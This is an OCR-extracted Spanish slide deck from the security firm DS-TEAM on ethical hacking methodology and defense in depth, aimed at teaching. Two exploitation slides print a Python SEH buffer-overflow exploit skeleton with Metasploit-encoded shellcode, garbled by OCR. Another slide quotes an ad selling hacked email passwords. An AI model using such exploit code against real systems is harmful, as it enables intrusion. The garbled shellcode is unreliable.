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Agenda

* Breve Presentacion Empresa DS-TEAM

* Los problemas que afectan la seguridad de la Informacion
* Soluciones desde dos puntos de vista Diferentes:

v’ Hacking Etico (Metodologia y Practica)
v’ Defensa en Profundidad (Metodologia y Practica)

* Arquitecturas de Defensa y Ataque, usando Software Libre

* Soluciones de Seguridad Cyberoam -UTM

* Preguntas? (--Rifas Bonos Cursos Seguridad)
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Sequridad informatica

Informacion”

DSTEAM Seguridad Informatica, es una empresa dedicada a
prestar servicios integrales vy soluciones profesionales,
relacionadas con la seguridad de la informacion, y Ila
Infraestructura Tecnologica.

e Servicios de Outsourcing en Seguridad Informatica

* Consultorias en Seguridad de la Informacidn

* Informatica Forense y Recuperacion de Datos

 Auditoria de Sistemas

* Formacion en Seguridad informatica- S-LEARNIING

* SGSI- Sistemas de Gestion de Seguridad de |la Informacidn
* Hacking Etico (Ethical Hacking) y Test de Penetracidn

e Seguridad Perimetral
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———————————————————————————————————————————
Los Problemas que afectan |la Seguridad.

Excusas: Muchos Lideres y Gerentes de empresas manifiestan un nivel
representativo de disculpas al momento de hacer tangible la necesidad
de implementar o aumentar los niveles de control sobre la Seguridad de

la Informacion.

v'No tengo secretos que ocultar....

v’ La seguridad es un gasto, y no una inversion
v’ La seguridad no me permite mantener un
rendimiento adecuado de mis sistemas

DESCONOCIMIENTO= “Falta de cultura ?

y consciencia de asegurar la informacion &
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Los Problemas que afectan |la Seguridad

La Seguridad de la Informacion es una Inversion, no un Gasto: En
términos financiero una Inversion es algo tangible o intangible en
la que el capital permanece intacto, y genera un valor agregado.

v’ Confianza a Clientes

v’ Posicionamiento, respeto y buen
nombre

v’ Organizacion Competitiva

v Mejoramiento Continuo

SFirewallS $1DSS SCriptografia$
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Los Problemas que afectan |la Seguridad

Falta de Etica Profesional: Muchos profesionales
Informaticos, carecen de una ética profesional, lo
qgue los convierte en una amenaza para los sistemas
Informaticos Corporativos.

DESCONOCIMIENTO "Los Novatos y Script

Kiddie ensayan y aprenden a atacar sistemas, en
las redes de las pequenas de las empresas
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Los Problemas que afectan |la Seguridad

“Falsa Sensacion de estar asegurado”

Con Un Firewall y un
Antivirus ya estoy

“Solo se nota cierto Interés Corporativo por
asegurar el Perimetro, y en la red Interna quejii
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Los Problemas que afectan |la Seguridad

“Recurso Humano” “
i N

“La cadena de
seguridad se rompe
por el Eslabén mas =
Débil” -El usuario-

La seguridad debe de tratarse de modo Integral, para disminuir el riesgo
de tener problemas relacionados con la seguridad de la Informacion.
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EEEEES_—_E_—_—_— — —_——_——————_—————_————_————_—_—__—__—_—____m——w———,
Los Problemas que afectan |la Seguridad

“Con el implemento de controles de seguridad, tales como Firewalls,
IDS, IPS, entre otros, los ataques han evolucionado...

' 6 | Presentacion

Aplicacion

4] Transporte

-

Cyberoam

=2 Enlace de datos

monowall

Fisica
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Los Problemas que afectan |la Seguridad

Estadisticas para Analizar: A modo de ejemplo real en nuestra
cuidad, Medellin, se realizd un proceso de sondeo de puertos
aleatorio a una muestra de 6.000 (Estaticas-corporativas)direcciones
IP, correspondientes a diferentes empresas de la ciudad, obteniendo
los siguientes resultados:
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———————————————————————————————————————————
Top Servicios TCP

Servicio/ Protocolo Puerto Cantidad Porcentaje
HTTP &0 3.105 51.75%
S5H 22 723 12.05
S5L 443 #64 14.10%
SMTP 25 255 4.25%
FTP 21 2.890 48,17%
POP3 110 119 1,98%
VNC-Web 5800 170 2,83%
VNC 5900 224 3,73%
SQL 1423 a7 1,62%
VNC (Listening Mode) 5500 5 0,08%
RDP (Terminal Services) 33889 850 13,16%




www.dsteamseguridad.com

DS Hacking Etico “VS” Defensa en Profundidad

uridad inferméatica

Top Sistemas Operativos

Sistema Operativo | Cantidad Porcentaje
*BSD 540,00( 0%
Windows Server 2354,[}['." 39,23%
Linux 209,00] 3,48%
Windows XP-7 Cliente) 350,00 5.83%
Otros 2547,00 42.45%
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Enlaces que no tiene proteccion Perimetral

Seguridad Perimetral |Porcentaje
Sl 39,12
NO 60,88%
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Servidores Windows Enlace NAT Internet

"
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Resultados Analisis:

3} Sistema Operativo : “Integrado” AT
@ N/ Puertos: 80,21 OPEN
Red interna Servicio: http
ﬁ (é %@ ﬂ w;-a oo L nownbes e Hass § s cmtaseTia. E1 stio dos "dnin
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«wamemics  Arsenal de Ataques Informaticos al Alcance de todos &

Los Problemas que afectan |la Seguridad

EXPLOIT
-

HH\FI'!'AHE =

http://1337db.com/
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sorseamernats—— “E] Conocimiento es un Derecho, no un Privilegio?” A

Los Problemas que afectan |la Seguridad

Software ilegal, Pirateria Informatica, redes P2P de Nueva
Generacion: Pasaron a la Historia Emule, Bit Torrent, Kazza, con
las “Descargas Directas”?

FILES¢S=-PUMP
I hotfile

"VE JFiteractory”




www.dsteamseguridad.com

.Egﬁ Hacking Etico “VS” Defensa en Profundidad

souisssnernatis— “E] Conocimiento es un Derecho, no un Privilegio?” A

Los Problemas que afectan |la Seguridad

Apoyo de paginas buscadoras de enlaces: Desde el punto de vista de la
formacion de un Atacante Informatico, el verdadero problema de estas
redes, es la informacion tan valiosa que se puede encontrar.

___http://filespump.com/index.html
TARINGA!

i fFilespurnp, cc dez. hkml]
S R R TRAN

[ ]

sy ard s

.. ]
 laalel it Al o d Bl -1
w Enbusca, del conocimientous:
- e -

T ——

' W o T This domain name has been seized by U.S. Immigration and Customs Enforcement,
'.\@ Special Agent in Charge New York Office in accordance with a seizure warrant
obtained hy the United States Attorney's Office for the Southern District of
New York and issued pursuant to 18 U.5.C. §§ 981 and 2323 by the
United States District Court for the Southern District of New York.

It Is unlawful to reproduce or distribute copyrighted material, such as movies, music,
software or games, without authorization. Individuails who willfully reproduce or
distribute copyrighted material, without authorization, risk criminal prosecution

under 18 U.5.C. § 2319. First-time offenders convicted of criminal felony copyright
laws will face up to five years in federal prison, restitution, forfeiture and a fine.
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souisssnernatis “E] Conocimiento es un Derecho, no un Privilegio?”

I nfo rm a Cié n SMS EC Council: Computer Hacking Forensic Investigator (CHFI) v4

o0Rs
r

encontrada Redes P2P:

Security 560: Network Penetration Testing
and Ethical Hacking

. . . 3 & s ‘
Az cyber attacks increase, so does the demand for information securty ¥ 0 Il':'i'
H A ﬂ I N professionals who possess true network penetration testing and ethical hacking —_—
C G skills, There are several ethical hacking courses that claim to teach these skills,

rEE Ao o R AR but few actually do. 545 SECHED: Metwork Penetration Testing and Ethical Hacking
truly prepares you to conduct successful penetration testing and ethical hacking
projects. The course starts with proper planning, scoping and recon, and then
dives deep into scanning, target exploitation, paszword attacks, and wireless and
web apps with detailed hands-on exercizes and practical tips for doing the job
safely and effectively, You will finish up with an intensive, hands-on Capture the
Flag exercise in which wou'll conduct a penetration test against a sample target
organization, demonstrating the knowledge vou mastered in thiz course,

SECURITY 617 SECURITY 504

. Viveless Ethical Haching, Penetration Testing, and Defenses Hacker Techniques, Explotts & Incident Handing
- Certified Ethical Hacker v.6 (6 DVDs) b CPE Cres Per Dy 6 CPE Creits per day

ISO-DWD | Exam: 312-50 | 10 GE
aanre) el earning

LPT E|CSA ciur

e Y

Todas las Diapositivas de la ultima )
version de las siguientes certificaciones:

CEH

Certified = Ethical Hacker
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“El Conocimiento es un Derecho, no un Privilegio?”

Informacion encontrada .
Redes P2P: chunetlx WLH AFFLICATEIN FECAMRITY

GFiLANguard

Network Security Scanner

offsec-10% |

SECURITY 401

SANS Security Essentials Bootcamp Style
& CPE/ Days 1-5, 6 CPEfDay 6

“El acceso a este tipo de Informacidn, dejo de ser un
factor economico o un privilegio”
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Los Problemas que afectan |la Seguridad

“Con el avance de las tecnologias, ha surgido excelentes herramientas
de evaluacion del estado de la seguridad éPero y la Llamada Evaluacion

Artesanal donde quedé? h
macunetix EES

AppScan |

@S TENABL

Network Security
N7,

Nessus
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Los Problemas que afectan |la Seguridad

“El Crimen Organizado ha visto en las nuevas Tecnologias ( T.1),
una nueva forma de fortalecerse.
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Los Problemas que afectan |la Seguridad

v Exposicion de Vulnerabilidad Especificas y Corporativas.
v’ Servicios de “Hacking” por Internet.

Descripcion: Hackear Cuentas de Correos Electronicos Venta de Contrasefas

Yenta de Contrasefias Hotmail Yahoo Gmail Facebook

BSCrDEME 2 oot _55rhotmail.com

Te doy un servicio profesional de contrasefias, por parte de mi trabajo en el cual podras obtener el password de tu wictima

Garantizamos gue trataremos su caso con la maxima discrecion posible

Costo minimo por password de cualguier carreo gue nos pidas

Fagas cuando te muestro las pruebas verdaderas comao pantalla de mensajes, lista de contactos correos enviados y te escribo desde el correo de
I3 wictima

puedes hacer depdsita via western union v te entregamaos la contrasefia de inmediato

Pagas cuando te muestra las pruehas originales y reales antes na pagues nada. Cuéntame tu caso por 1o cual me escribes y asi estaré resalviendo
tu problema

Mo hago camhbio de clave por ningun motivo |3 razdn de mi trabajo es darte la misma clave gue tu pareja esta usando

guieres sacar sus informaciones contactos mensajes privado puedes hacerlo escribiendome Te brindo un servicio eficaz con total confidencial y
discrecion

Este 5 un sitio en donde encontraras mucha ayuda por parte de mi

fuieres descubrir 1a contrasefia de tu pareja, hijos par motivo de infidelidad escribeme vy tendras la solucian

Este servicio esta hecho para salo gente interesada gue verdaderamente necesitan saber una contrasefia

Recuerda gue nuestro servicio esta hecho solo para gente interesada en saber contrasefia y poder pagar por el servicio

El trabajo es totalmente confidencial v andnimo

ilgenllr .. 0 G C.aiE@hotmail.com

Fuente: http://colombia.yaclasificados.com
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Los Problemas que afectan |la Seguridad

v Exposicion de Vulnerabilidad Especificas y Corporativas.
v’ Servicios de “Hacking” por Internet.

llllll gt Rt
L | e oy L] Hodwal ey iy Peraanion g | | Wrekoes Pl || Cwbeioden peialy Te | ] WIREhE || B By - B | Teringdl - Hackers pl
Kal | Hakin® o Magaone - cFaral® L] Emnmnhmmuq

Cifipanr  brkormar sdbia malusa  Eigudsnts o

|R Jainbow [S]ecurity

Ui vulwerabifidad o5 tau linsitada coms tu quieras que sea

ZEGUIDHRES
Wiecatranedo Las aniredan s pe i beg oon. i stiqoeta XEE  Meootiar Jissnlai i mas qungng
48 Sequh
gARADD 4 DE DICIEMERE DE &040 Trcas Fikered Canniact
Caoogle.com yulnerable to X85 (HTML Code Injection) o

i o

Google.com vulnerable to XSS5 (HTML Code T

Injection)

\ e
Frawmework {15) 150L
113} Trtersi=s Hacking (73
S () mtrustmen (3 i
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ééédCuales serian posibles soluciones que minimicen
los Riesgos en todos estos problemas????

target positive

Fuente: http://blogs.eset-la.com

| sccess spproved to designated

Hacking Etico

Defensa en Profundidad
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Es la una de la Madrugada.... ¢Sabe quien
puede estar entrando en su Red?
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Hacking Etico —Definicion- .. . punto de  vista
Comercial, el Hacking Etico es
un servicio de Auditoria de T.l,
que ofrecen empresas
especializadas, con el fin de
evaluar la seguridad de un
sistema informatico de forma

Desde el Punto de vista de Un
individuo, un Hacker Etico es un
profesional que tiene las habilidades
para evaluar la seguridad de un
sistema informatico de forma integral,
llevando a la practica una serie de

pasos secuenciales y teniendo como integral.
. . (g g 0

un criterio trasversal una “Etica v Auditor de Sistemas
2 14

Profesional”. v’ Oficial de Seguridad

“Hacking Etico v Pen Tester

como Una Carrera” Master|of Security Science
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Hackmg Etico —Evolucidn deackmg —

Pioneros Del Hacking:
Retos, Innovacion

Drapper Wozniak Goldstein

Intereses Economicos,
Notoriedad,
Vandalismo

Poulsen

Consultores,
Pen Tester,
Hacking
Etico

Mckinnon

“Obsesivos”

McClure Scambray Sallis Boghello
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Hacking Etico —Perfil de Profesional “Hacking Etico”
“Primero Guru, Luego Hacker Etico o Pen Tester”

Técnico (Indispensable) Personal Administrativo
(Consultor)

» Entusiasta (Pasion)
» Investigador

» Actualizado
»ldioma Ingles

» Auténomo

» Trabajo en Equipo
> Etica Profesional

B Al

» Lenguaje no Técnico
(Habilidades de Comunicacién)
» Certificaciones

» Experiencia

» Hoja de Vida
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Hacking Etico —-Tipos de Analisis —: Se pueden
|dentificar (3) tres tipos:

Y re . e Test de
Analisis de Vulnerabilidades Penetracion
(Vulnerability Assessment) (Penetration Test)

Hacking Etico
(Ethical Hacking)
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———————————————————————————————————
Hacking Etico —Tipos de Analisis — Caracteristicas:

Identificacion de Puertos Tiene un Objetivo definido  Todo es un Objetivo en el
Abiertos y Servicios Entorno

Vulnerabilidades Conocidas Se tiene en cuenta el Ataques de ingenieria
(Aplicacion y S.0) Entorno (IDS, Firewall, IPS)  Social y DDoS
Clasificacion de los Busca comprometer el Mas complejidad y
Vulnerabilidades sistema objetivo Profundidad en el Analisis
No hay explotacion de Hay explotacion de Hay explotacion de
vulnerabilidades , ni vulnerabilidades e Intrusién vulnerabilidades Ataque

Intrusidn en el Sistema. en el sistema objetivo Puro
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Hacking Etico —Tipos de Andlisis —: Variables de
Impacto en un Analisis de Seguridad.

>

-

-

Posicionamiento: Visibilidad:

v’ Blind/BlackBox
v Double Blind/ BlackBox
v’ GrayBox

v’ Posicionamiento Externo
v’ Posicionamiento Interno
v’ Desde una VLAN Diferente

v’ Desde VLAN Servidores v Dou.ble GrayBox
v’ Desde la VPN v WhiteBox

v’ Reversal
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TEAM

oneaneme= Mariable Visibilidad : Segun |a visibilidad , el analisis puede ser

Blind/BlackBox

Double Blind/ BlackBox

GrayBox

Double GrayBox

WhiteBox

Reversal

El Analista de seguridad no tiene conocimiento del
Objetivo, pero el cliente si tiene conocimiento del analisis,
ademas de saber cuando se ejecutara.

El Analista de seguridad no tiene conocimiento del
Obijetivo, el cliente no sabe que tareas se ejecutaran en el
analisis, ni tampoco cuando se ejecutara.

El Analista de seguridad conoce muy poco del objetivo,
pero el cliente tiene conocimiento del tipo de test y cuando
se ejecutara.

Similar al anterior, la Unica diferencia es que el cliente no
sabara cuando se ejecutara el analisis.

Ambas Partes (Cliente-Analista) sabran cuando se hacen los
test, el tipo de test, ademas de saber cuando se ejecutara

Similar al anterior, la diferencia radica en que el cliente no
sabra que tareas de analisis se ejecutaran como tampoco
cuando.




www.dsteamseguridad.com

.Egﬁ Hacking Etico “VS” Defensa en Profundidad

Hacking Etico —=Tipos de Andlisis —: Variables de
Impacto en un Analisis de Seguridad. (Arquitectura)

Servidores B.D Firewall/IPS/Router
Internet
Sirei A VEN Tunnel

) * St

Ethical Hacker

|

ﬁ ;I Q} Red LAN m Ethical Hacker Ethical Hacker

Ethical Hacker
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Hacking Etico —Fases de Analisis de Seguridad.
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Hacking Etico —Fases de Analisis de Seguridad.
1. RECONOCIMIENTO PASIVO:

“Es la primera y mas importante fase del analisis. El
analista tratar de recopilar de forma metodologica toda
la informacion que mas pueda al respecto del objetivo”.

v No se realiza ningun tipo de escaneo o

contacto con la maquina objetivo.
v Permite Construir un mapa del Objetivo, sin

interactuar con él.
v’ Existen menos herramientas informaticas que  -El Exito del Ataque

en las otras fases. Futuro, dependera en

. s . i . s ran medida del
v’ Recoleccién de Informacién Publica ( Ingenieria £
desarrollo de esta

Social y Google Hacking) orimera fase-




www.dsteamseguridad.com

.Egﬁ Hacking Etico “VS” Defensa en Profundidad

Sequridad informatica

Hacking Etico —Fases de Analisis de Seguridad.
RECONOCIMIENTO PASIVO “TOOLS”

Algunas de las herramientas importantes en esta fase

son las siguientes:
Go 1)816

"\ CA OnLine Informaticagd

ce Network-Tools.com

facebook

robtex

d https:7e/"e§lvww.robotex.com/
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I EEE————————————————.
Hacking Etico —Fases de Analisis de Seguridad.

2.RECONOCIMIENTO ACTIVO:

“Es la segunda fase, y consiste en la identificacion
activa de objetivos, mediante en Escaneo de puertos y
la identificaciones de servicios y sistemas operativos”.

v’ Identificacion y Estado de Puertos.
v Identificar Servicios

v’ Identificar Sistemas operativos.

v Hay contacto directo con el Objetivo

/ EnumeraCién dEI Objetivo "i:h.-lqi-‘. I:'-.-;'-' L'-!'.!II. Fjﬂlr”i'i['l ELFLE TNE ULy SR DR e 9
v’ Captura de Banners
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Hacking Etico —Fases de Analisis de Seguridad.
RECONOCIMIENTO ACTIVO “TOOLS”:

Algunas de las herramientas importantes en esta
fase son las siguientes: http://nmap.org/

http://xprobe.sourceforge.net/

W McAfee

S u pe rS(:a nv 3 ' D http://www.mcafee.com/us/downloads/free-tools/superscan3.aspx
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—————— e
Hacking Etico —Fases de Analisis de Seguridad.

3. ANALISIS DE VULNERABILIDADES:

“Es la tercera fase del analisis, y tiene como objetivo el
identificar si un sistema es débil o susceptible de ser
afectado o atacado de alguna manera (Hardware,
Software, Telecomunicaciones, Humanos)”

v Identificacidon vulnerabilidades en Versiones de
Aplicacion y Sistemas Operativos

v’ Gestion de Parches (Patch Management) El éxito de un Analisis
v' Identificar Vulnerabilidades Tecnolégicas y de Vulnerabilidades,
Humanas. depende de la gestion
v’ Configuraciones por Defecto. que se les haga.

v Vulnerabilidades Técnicas y Funcionales
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R EEEEEEEE————————————
Hacking Etico —Fases de Analisis de Seguridad.

ANALISIS DE VULNERABILIDADES:

Ejemplo de Vulnerabilidades:

Funcional Téchica

from socket import *
import struct
import time

Username: |user total

Junk1
seh - s
nops =

1aaa

\x41™ * 485

\xebi\x@e\x08\ 198"

Telt, 9x10014149) # ppr from ssleay32.dll

(‘ # msfpayload windows fexec CMD=calc R | msfencode -t ¢
# [*] x86/shikata_ga nal succeeded with size 223 (iteration=1)
f # BadChars ‘xe@\xffixodix5cix2fx0a

shellcode = (

“hxdbhoed 1NV d 9N x 72N x 24 xFA N x5 a0\ x3 1M xc 9\ xb1 %32\ xb8\ xca\ xea xca@"
WA N A N LT AR BN R 20 X B4\ X B3 X BB A 0N %22 xea 1 F BV 165 < 2b"
"hx15% %08 \xe7 \xd \ X \xed\xd6\ xEe \ xfb\x66 \ x4 a\x6F \R8F \x2a\RE6T"
“hxedocddixde xf e\ k68 xcai xd 1\ xb5 X 7\ x2 ¢ \rdc W x46 \ xed \ xf B xb2"
"1\ x85 168\ X Bd\xc B\ XdO x4 A xac \x@3\ X2\ xBa\ ke \ kTP ndf \xdel xa2"
"X F AT 20K P e T x4 a \ xd i xee \ k@7 ke 1 xef WX BB\ X 22\ X 15\ x9b\ x 22"
TR0 KA AKIANKIBAKGE \ A TAN KB AKBE N KE T AKT C LR I3NKTA  kab\ k3 7\ k98"
A W AET A C B A B XD kAl K kb kA d RO 36 A3 D R BT ke T s fa”
“xa2hxfaix13hx03 \x5etxfdixe7 \x7e\xBA\x88 \ x f5 \ xdB8 \ x4\ x2a \ xde"
“hxd9h 29 xad 1954 xdE L X6 b\ F 2N X F 9L XBC L X6\ xBON X85\ xed \ xa 1"
“AxEetx8c i Kbe kb5 KT a\xdE N K65 \kdT W xdb i xb3 N A B\ KeB \ K3\ xlbixba™
RS IASEIAVEAEE AR FATS ACIFAVY LA VLA LAPE AT AT Ao A -1
“AxEF A xbA\Xad x4\ X27 W XA 9N X630\ X34 xdT W x@3 W x2e\ x 1 A xTF @\ xcat xba"
1dhxldixedh 2 18% <6 184 x6e\x91x 19 xdf '\ x6e\ xdd' x 1\ x9bhx28"
@8 A xbd  d e K2 et e 3 b E L AN kA VB2 X250 10D 1927 )

Junk2 = "Wx@@"™ * (total - len(junkl+nseh+seh+nops+shellcode))
payload = junkl+nseh+seh+nops+shellcode+junk2
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Hacking Etico —Fases de Analisis de Seguridad.

ANALISIS DE VULNERABILIDADES:

“Algunos aspectos importantes que deben de tenerse en
cuenta en el analisis de Vulnerabilidades, es el siguiente:

v’ Las herramientas de analisis de vulnerabilidades
se basan en Plugins, por lo tanto es importante
mantenerlos actualizados.

v’ Configurar de forma adecuada el perfil del analisis
de vulnerabilidades, segun la informacion ~\
recolectada en fases pasadas.

v’ Experiencia un factor “Relevante”
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Hacking Etico —Fases de Analisis de Seguridad.

ANALISIS DE VULNERABILIDADES:

r‘l Patch Auto-Deployment

CJ The Patches Auto-Deployment option enablez you to zelect which patches are approved for automatic patch deployment.

6 Approve Microzoft patches and service packs for auto-deployment
© Only approve patches that were previously tested and do not cauze any issues,

Patch language filter: iEninsh |

To automatically approve patches andfor service packs click here.

Approval Eulletin D Severity Gkumber Date pozted  Title S
Approved e oy Critical 248R37E 2011-02-08 Security Update for "Windows Yista for x64-bazed S
[ Aet Aporored l:? b5S11-007 Critical 2485376 2011-02-028 Security Update for Windows Vista [KB248537E]

[ Ader doprowvec F:f MS11-003 Critical 2482017 2011-02-08 Curnulative Security Update for Internet Explarer 7 1
Approved (:? MS11-003 Critical 24820107 2011-02-08 Curnulative Security Update for Internet Explarer 7 1
[ Atardnrovad ﬂ' MS11-007 Critical 2485376 2011-02-08 Security Update for Windows Server 2008 <64 Edit
[ avasdsoraved @ b5S11-007 Critical 2485376 2011-02-08 Secunty Update for Windows Server 2008 for [tan
[ o Aparoves @' b511-007 Critical 2485376 2011-0z-028 Secunty Update for Windows Server 2008 [KB248¢
Approved E:."‘ FMS511-007 Critical 2485376 2011-02-08 Secunty Update for Windows Server 2008 R2 <B4
] wvos doorow ﬂ‘ M511-007 Critic:al 2485376 2011-02-08 Security Update for Windows Server 2003 B2 for It
Approved @ b511-003 Criticzal 24820107 2011-02-08 Curmulative Security Update for Internet Explarer 7 1
Approved ﬁ bM5S11-003 Critical 2482017 2011-02-08 Curnulative Security Update for Internet Explarer 81
[] adara f=Ts E:f MS11-003 Critical 24820107 2011-02-08 Curnulative Security Update for Internet Explarer 8 1
Approved E:i' MMS11-003 Critical 2482017 2011-02-08 Curmnulative Security Update for Internet Explarer 81
[ svaedaoramved a MS11-003 Critical 2482017 2011-02-08 Curmulative Security Update for Internet Explarer 81
[ avosam @' f5171-003 Critical 2482017 2011-02-028 Cumulative Secunty Update for Internet Explorer 8 1
[ #vos oo t':'l‘ rS171-003 Critical 2482017 20171-02-08 Cumulative Secunty Update for Internet Explorer 8 1
[ vor daorow ﬂ‘ M511-003 Critical 2482017 2011-02-08 Curnulative Securty Update for Internet Explorer 8 1%
< | >

Find patch: | _ Fird Show Bulletin [D....
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Hacking Etico —Fases de Analisis de Seguridad.

ANALISIS DE VULNERABILIDADES:

[&] Acunetix Web Yulnerability Scanner (Consultant Edition)

File Actions Tools ZonFiguration Help
| Mew Scan | (& (3 ) = < w R P = | A | ok

[ ]
[Tocls Explorer a | Profile: [EEENNE = [ & > | Filter: Vs

El Web Yulnerability Scanner as — .
g r'hg’s- Wweb Scanner Test  |blind_injection Tt D ezcription
Tools = cgiFtester L Module for reporting wulnerable versions -~
(& Site Crawler F = Lot ies List of swulnerable web serwer technologies
i ‘,_) Target Finder = Liskt of wulnerable web servers
L, Subdomain Scanner = o e = Module For testing CGI vulnerabilities
i i : ile_uploa
i ij E'I_'I_anPSE%I_‘tIn]ECtDr & T |.|E| FOZsI0E Sensrvye content Pos=sible sensitive conkent
i = ikar
St [+ %y web server Info Get weh server information
v;' HTTE Fuzzar &l qj web Server Technologies verify web server technologies N
4 Authentication Tester i [y web servers Check for web server problems
EA Compares Resules = Farameter manipulation Module that performs parameter manipulation For sc. .,
== Web Services [+ LD Application error message Look. For application error messages
4~ Web Services Scanner &= [ |__|j Arbitrary File creation {AS) Arbitrary File creation, detection through AacuSensor
= i i - rbitrary File deletion rbitrary File deletion, detection through AcuSensor
i e Web Sehvices Editor (= Arbit File deletion (AS) Arbit File deletion, detection th h acus
== fgnggt';atmn - Eij Code execution Look For code execution attacks
1
!:ﬁ_ Siarll:nlig:g S [+ @ Cookie manipulation Cookie manipulation
i cancral = [ [ CRLF injection CRLF injection
E 9 Program Updates & ] q"_"l Zross Frame Scripting Look For cross Frame scripting (XFS) problems
[1.8] Wersion Information /= % Cross Sike Scripking Look For cross site scripting (<550 problems
E" Licensing [EF] |t‘| Direcktory kraversal Loak For directory traversal atkacks
@ Suppork Center & qj Ermnail Injection (A3 Check For email injection vulnerabilities, dektection th. ..
g‘ Purchase & Fi qj Filz inclusion Tests For File inclusion wulnerabilities
@ Eser ma””a: Ehtdr:‘,‘:} = |__ij File tarmpering (A5) Possible dangerous file tampering, detected through, ..
2] User Marua
R R = [ 02 Full path disclosurs Full path disclosure
- [#] [P LDAP injection LDAP injection
& Fli |__|3 PHP code injection PHP code injection
= Eij PHP curl_execi) url is controlled ... PHP curl_execi) url is controlled by user o
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Hacking Etico —Fases de Analisis de Seguridad.

ANALISIS DE VULNERABILIDADES: Clasificaciény
Descubrimiento de Vulnerabilidades.

Si una vulnerabilidad es descubierta, que Las vulnerabilidades encontradas en un
caminos se pueden tomar? Analisis de seguridad, se clasifican con
respecto a bases de datos del Conocimiento.

v Comunicarlos al proveedor de forma

directa.
: : " C Vul biliti dE
‘/ Comunlca rlo d Ias LIStaS de Fu“ umrf?ﬁguﬁrﬂj"ef:'rra'm:f:J.llf'i.'i?i.lf.'aacfrﬂgj?-:ﬁ?
Disclosure”. .
http://cve.mitre.or
v Comunicarlo en un evento de seguridad p:// 2
(Black Hat, DEFCON, Etc) ;
v Venderlo a empresas que o compran
Exploit. Common Vulnerability Scoring System

v’ Conservar el descubrimiento en

http://www.first.org/cvss
secreto.
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ANALISIS DE VULNERABILIDADES “TOOLS"”:

“Algunos de las herramientas que se pueden identificar
en esta fase son:

o= GRLANguard

http://www.openvas.org/ http://www.gfi.com/lannetscan

M acunetix

www. acunelix,com

Web

VYulnerability

Scanner Nessus
http://www.acunetix.com/ http://www.nessus.org/nessus/intro.php

www.qualys.com
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Hacking Etico —Fases de Analisis de Seguridad.
4. EXPLOTACION DE VULNERABILIDADES:

“Es la cuarta fase del analisis, y una de las mas complejas,
ya que el evaluador debe de buscar aprovecharse de

alguna de las vulnerabilidades identificadas, para lograr el
ingreso (Intrusion) en el sistema objetivo.

v’ Escalar Privilegios

v’ Explotacion de Vulnerabilidades
v Denegacion de Servicios

v' Mantener el Acceso
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Hacking Etico —Fases de Analisis de Seguridad.
EXPLOTACION DE VULNERABILIDADES :

Definicion y componentes de un Exploit: Un Exploit es un mecanismo que
se aprovecha de una debilidad o una brecha de seguridad.

PAYLOAD CODIGO

from socket import *
import struct
import time

total = laoo

Junkl = "W\x41™ * 485

nseh = "xeb\x06\ X 98\ 90"

seh = struct.pack("«<L", @x10014149) # ppr from ssleay32.d1l1l
nops = "h\x9a" ¥ g

# msfpayload windows/exec CMD=calc R | msfencode -t ¢
# [*] =86/shikata_ga_nal succeeded with size 223 (iteration=1)
# BadChars ‘xe@\xffized\x5c\x2f'\~0a

shellcode = (

"AxdbAXdIN AN XTA N K24\ x TN XKE A\ X3 I KN Kb\ X3 2\ kb8 \xca\xea\xc O™
TS DA 2N LT VB3 N e 2004 B3 K B8\ O X 22 Kea nf BN 16 2k
"X 15 08\ a7 Ao\ O ed ndE xS et i fb e xdah e f L8 N 2ah xeT"
"hxedixddixdenxfo v e8 xcahxd 1\ xb5 A\ xc T\ K2\ xdc W ka6 xeb \ xfa\ xb2™
"8RG\ HBd e 8\ nd 9 xd A A xB3 K2 W xBa e\ T ndf de 't xa2”
"af e T2 e F e T ah xd f unea\ BT ke e f 88\ K220 X 15 1 9b k227
UAX2C X5 X340 X386 T d N3 e\ K66\ X5 T A RTC A KO3 A\ N TA  xab k3 7\ 98"
A B e 6N A8 D a0 f O xbd kA A O K36 K3 B e T e
a2k fai k13N xe3 G e nfdiue? T e\ KB\ x 88\ 1 f 5 dBh xa f 2 a i de”
"had X9\ Kad k95 d5 A xE O\ Kb O\ 2 x9N\ K6\ KB\ KB X85\ xed \ k91"
"hxbeh 8 Wxbet xb5 kT a xnd5 W65 ud T v db i b3 e 8 eBh X3 c b bl
T HA N HIE N HEO A L T LS e T3 AN KT B 28 nae K37 W N85 2b xsa”
"AHEFAEbA N xa@ KA T\ K27 xS 9N X633\ 13N\ dT A KO3\ K 2e\ k1l W xT B\ xca\ xba™
" ldvldh xed 10N X6 1 L8N X6 O L 19 ndf  xGe  nde L x9bh k28T
"8 HEC W b de K 2e e 3 b5 A\ kA e W\ B2\ X 25\ 104 192" )

Junk2 = "Wx98" * (total - len(junkl+nseh+seh+nops+shellcode))

payload = junkl+nseh+seh+nops+shellcodet+junk2
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Hacking Etico —Fases de Analisis de Seguridad.
EXPLOTACION DE VULNERABILIDADES:

En lo que respecta a la ejecucion de Codigo de
forma arbitraria, se tienen dos modalidades de
Exploit.

Exploit Local: Es ejecutado de forma
local, y uno de sus principales
objetivos, es escalar privilegios,
cuando un Exploit remoto ha tenido
éxito en el equipo objetivo

Exploit Remoto: Es ejecutado desde un equipo atacante,
hacia el equipo victima, muy comunmente ejecutado via
Internet. De forma remota el atacante se posiciona del equipo
objetivo y posiblemente de los equipos que tenga visibilidad
desde este.
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Hacking Etico —Fases de Analisis de Seguridad.
EXPLOTACION DE VULNERABILIDADES:

En lo que respecta al lugar donde el impacto del ataque, se pueden
tener dos modalidades:

Server Side: Es el tipo de explotacion mas utilizado, y
consiste en aprovecharse de una debilidad de una
aplicacion servicio, es accesible de forma directa y no
requiere de la intervencién de un tercero.

Cliente Side: Tiene como objetivo explotar la
vulnerabilidad en el lado del cliente, aprovechandose
de las debilidades de uno de los eslabones mas débil

en la cadena de la seguridad de la informacion, como
lo es “El usuario Final”
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Hacking Etico —Fases de Analisis de Seguridad.
EXPLOTACION DE VULNERABILIDADES:

La explotacion de vulnerabilidades, no necesariamente
esta ligada a la programacion y ejecucion de codigos
del tipo “Exploit.

Claves débiles

Ingenieria Social
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Hacking Etico —Fases de Analisis de Seguridad.

EXPLOTACION DE VULNERABILIDADES:

¢Y que pasa cuando el sistema ha sido comprometido?

* Mantener el Acceso “Muchos Exploit Luego de ejecutados, causan
algun tipo de negacidn de servicios al analista.

* Linea de Vision de otros Objetivos: Una vez comprometido un
sistema, se busca comprometer otros que estén al alcance.
 Aumentar el Nivel de Privilegios, Una vez comprometido el sistema,
el analista de seguridad buscara aumentar privilegios en el sistema
objetivo.

* Elimina Rastros, Dependiendo del analisis pactado entre una analista
y un cliente, se procede a la eliminacién de los rastros de la intrusion.

